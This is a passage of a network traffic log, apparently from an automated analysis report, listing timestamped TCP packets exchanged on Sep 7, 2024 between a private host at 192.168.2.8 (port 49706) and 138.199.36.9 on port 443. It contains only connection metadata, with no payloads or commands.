Sep 7, 2024 23:15:25.022985935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.023010969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.023039103 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.023047924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.023072958 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.023092031 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.023235083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.023250103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.023298025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.023303986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.023334980 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.024019957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.024036884 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.024094105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.024100065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.024131060 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.024900913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.024918079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.024969101 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.024976015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.025007963 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.025654078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.025671005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.025719881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.025727987 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.025765896 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.025973082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.025988102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.026026964 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.026032925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.026060104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.026077032 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.026237011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.026252985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.026302099 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.026307106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.026338100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.113500118 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.113523960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.113606930 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.113640070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.113679886 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.114104033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.114120007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.114171028 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.114177942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.114208937 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.114536047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.114552021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.114603996 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.114610910 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.114641905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.115535021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.115550041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.115601063 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.115607977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.115642071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.116383076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.116395950 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.116449118 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.116456985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.116488934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.117094994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.117110014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.117161036 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.117167950 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.117198944 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.117779016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.117791891 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.117863894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.117871046 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.117913008 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.118463993 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.118477106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.118527889 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.118534088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.118566990 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.219640017 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.219670057 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.219891071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.219922066 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.219938040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.219963074 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.219966888 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.219976902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.220000029 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.220037937 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.220140934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.220160961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.220191956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.220200062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.220217943 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.220241070 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.220457077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.220474005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.220521927 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.220530987 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.220552921 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.220573902 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.221071005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.221087933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.221138954 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.221144915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.221179962 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.221335888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.221364021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.221391916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.221400023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.221429110 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.221443892 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.221662998 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.221678019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.221725941 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.221733093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.221765995 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.222243071 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.222259045 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.222304106 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.222311974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.222343922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.289318085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.289367914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.289531946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.289563894 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.289612055 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.289804935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.289822102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.289879084 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.289889097 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.289927006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.290788889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.290817976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.290863991 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.290874958 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.290920019 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.291825056 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.291845083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.291894913 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.291906118 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.291939020 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.292350054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.292366982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.292416096 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.292431116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.292463064 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.293282986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.293298960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.293338060 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.293353081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.293365955 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.293385029 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.293533087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.293548107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.293590069 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.293600082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.293637037 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.294610023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.294630051 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.294677973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.294688940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.294718981 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.377603054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.377621889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.377748013 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.377775908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.377820015 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.378103971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.378119946 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.378170967 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.378176928 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.378205061 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.378225088 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.378802061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.378817081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.378873110 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.378885031 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.378921986 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.379723072 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.379736900 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.379810095 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.379825115 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.379862070 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.379986048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.380002022 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.380053043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.380062103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.380104065 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.381122112 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.381139994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.381207943 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.381223917 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.381263971 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.381402969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.381417036 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.381464005 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.381470919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.381505013 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.383378983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.383394003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.383446932 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.383455038 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.383490086 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.466017008 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.466037989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.466197968 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.466228962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.466274023 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.466473103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.466489077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.466520071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.466531038 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.466553926 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.466571093 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.467158079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.467173100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.467230082 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.467242002 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.467355013 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.468137026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.468152046 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.468206882 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.468223095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.468260050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.468466043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.468492031 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.468521118 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.468533039 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.468550920 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.468565941 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.469564915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.469582081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.469645977 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.469671965 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.469713926 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.469868898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.469883919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.469935894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.469944954 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.469979048 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.471651077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.471666098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.471716881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.471740961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.471776962 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.555381060 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.555399895 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.555541039 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.555577040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.555624008 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.555872917 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.555887938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.555929899 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.555938959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.555959940 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.555979967 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.556581020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.556595087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.556663990 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.556678057 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.556716919 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.557712078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.557727098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.557780027 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.557795048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.557826996 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.558274984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.558290005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.558345079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.558357000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.558391094 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.559391022 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.559406996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.559453011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.559470892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.559504986 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.559699059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.559715033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.559765100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.559773922 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.559808016 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.561422110 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.561436892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.561489105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.561500072 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.561532974 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.643410921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.643434048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.643512011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.643536091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.643553972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.643572092 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.644004107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.644017935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.644088030 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.644094944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.644129992 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.644594908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.644610882 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.644673109 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.644680977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.644715071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.645050049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.645064116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.645119905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.645128012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.645167112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.645389080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.645405054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.645457029 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.645467997 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.645502090 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.646595955 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.646610975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.646673918 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.646682024 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.646717072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.646758080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.646775007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.646816969 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.646823883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.646862984 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.648825884 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.648839951 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.648900032 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.648912907 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.648946047 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.734071016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.734092951 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.734186888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.734230042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.734266043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.734266043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.734297037 CEST	443	49706	138.199.36.9	192.168.2.8
